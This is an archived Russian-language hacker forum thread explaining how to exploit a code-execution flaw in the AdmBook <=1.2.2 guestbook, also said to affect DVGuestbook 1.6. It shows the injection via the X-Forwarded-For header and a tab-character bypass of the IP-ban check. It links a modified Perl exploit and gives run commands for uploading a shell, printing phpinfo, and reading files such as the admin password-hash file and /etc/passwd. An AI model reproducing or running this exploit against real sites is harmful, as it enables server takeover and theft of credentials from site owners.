PDA

Просмотр полной версии : Исполнение произвольного кода в AdmBook<=1.2.2


otmorozok428
14.01.2008, 21:05
1. Описание уязвимости.

Собственно, уязвимость достаточно уже древняя. Написано о ней вот здесь, например:

http://secunia.com/advisories/18930

Рабочий эксплоит можно утянуть отсюда:

http://www.milw0rm.com/exploits/1512

Одна проблема - уязвимость не юзается, когда в файле banned-ip-data.php присутствует
значение -1. А это значение по умолчанию для данного файла. Мне удалось обойти указанное ограничение.

Рассмотрим подробно суть уязвимости.

Добавление сообщений в гостевую книгу осуществляется посредством скрипта write.php, а сама база сообщений хранится в файле content-data.php. Так, когда пользователь добавляет сообщение, в файле content-data.php появляются следующие строчки:

$content[0]['ip'] = "127.0.0.1";
$content[0]['host'] = "localhost";
$content[0]['proxy'] = "127.0.0.1";
$content[0]['name'] = "Sergey";
$content[0]['url'] = "";
$content[0]['mail'] = "sergey@micro.com";
$content[0]['icq'] = "";
$content[0]['message'] = "It is a wonderful site... Thank you!";
$content[0]['time'] = "1200320295";
$content[0]['admin-name'] = "";
$content[0]['admin-message'] = "";
$content[0]['admin-time'] = "";

Нас интересует переменная $content[0]['ip']. Посмотрим, как она формируется. В файле write.php переменной $ip присваивается значение переменной окружения HTTP_X_FORWARDED_FOR:

$ip = getenv("HTTP_X_FORWARDED_FOR");

Затем, если функция checkBannedIp возвращает TRUE, наше сообщение успешно добавляется в гостевую книгу, иначе идём лесом.

$checkIp = checkBannedIp($ip, $login, $password);
if (!$checkIp || !$checkProxyIp)
{
$error .= "This 'ip' or 'proxy' is banned<br>";
}

Функция checkBannedIp находится в файле lib.php и осуществляет проверку валидности переданного нами айпишника при помощи функции ip2long:

include($bannedData);
$ip = ip2long($ip);
if (!isset($banned))
{
$banned = array();
}
if (in_array ($ip, $banned))
{
$check = false;
}
return $check;

т.е. если наш айпишник обнаружен в файлике banned-ip-data.php, то мы, как уже было отмечено выше, идём лесом. Функция ip2long возвращает наш ip-адрес в long-формате,
либо -1, если переданный нами HTTP_X_FORWARDED_FOR не является ip-адресом. Другими словами значение -1 в файле banned-ip-data.php банит сразу все значения не являющиеся ip-адресами. Получается, что когда -1 в файле banned-ip-data.php отсутствует, мы можем передавать в поле HTTP_X_FORWARDED_FOR произвольный код, когда -1 присутствует, ну да, лесом... Обойти это можно, пользуясь уязвимостью в функции ip2long:

http://securityvulns.ru/Ndocument693.html

Т.е. перед произвольным кодом в поле HTTP_X_FORWARDED_FOR, нам придется добавить, например, chr(9), тогда ip2long вернет валидное и отличное от -1 значение. Применительно к типовому эксплоиту, это будет выглядеть так:

print $sock "X-Forwarded-For: GUESS_WHAT:".$SHELL."\r\n";

заменяем на

print $sock "X-Forwarded-For: 1.1.1.1".chr(9)."GUESS_WHAT:".$SHELL."\r\n";

Доработанную версию эксплоита ты можешь взять здесь:

http://www.itsme7.pochta.ru/admbook.pl


2. Использование уязвимости.

В общем, эксплоит я слегка доработал, добавив парочку полезных функций. Теперь, при запуске нужно указывать ещё OPERATION_MODE (режим выполнения). Значение OPERATION_MODE равное 0 выполняет phpinfo(), 1 позволяет просматривать произвольные файлы на сервере, а любое другое цифровое значение загружает шелл.
Шелл загружается так:

perl admbook_122_xpl.pl 998 localhost /admbook/ ls -al

Если не загружается, то здесь возможны несколько ситуаций. Самый попсовый случай - это когда эксплойтовские сообщения в гостевую даже не добавляются. Тут мы, как правило, отдыхаем, хотя и возможны варианты (например, гостевая защищена от спама картинкой - можно что-то ловить). Затем, бывает ещё, что сообщение добавляется, а шелла всё равно нету. Тут скорее всего, для нашего юзера просто запрещены команды а-ля system(), passthru() и т.д. Возможно, эксплоит нам об этом честно сообщит, хотя не факт. Здесь можно попробовать просмотреть содержимое файлов на серваке, как минимум settings-data.php, где лежит админский хеш, но при некотором везении это может оказаться /etc/passwd или файлы других пользователей.

perl admbook_122_xpl.pl 1 localhost /admbook/ settings-data.php

Если уж и здесь никак, возможно повезёт с утешительными призом просмотром phpinfo(). :-)

perl admbook_122_xpl.pl 0 localhost /admbook/

otmorozok428
04.05.2008, 13:31
Узнал, что данная гостевуха успешно существует также под именем DVGuestbook 1.6. Кто у кого сырцы стибрил - хз, но уязвимости там те же, что и в AdmBook.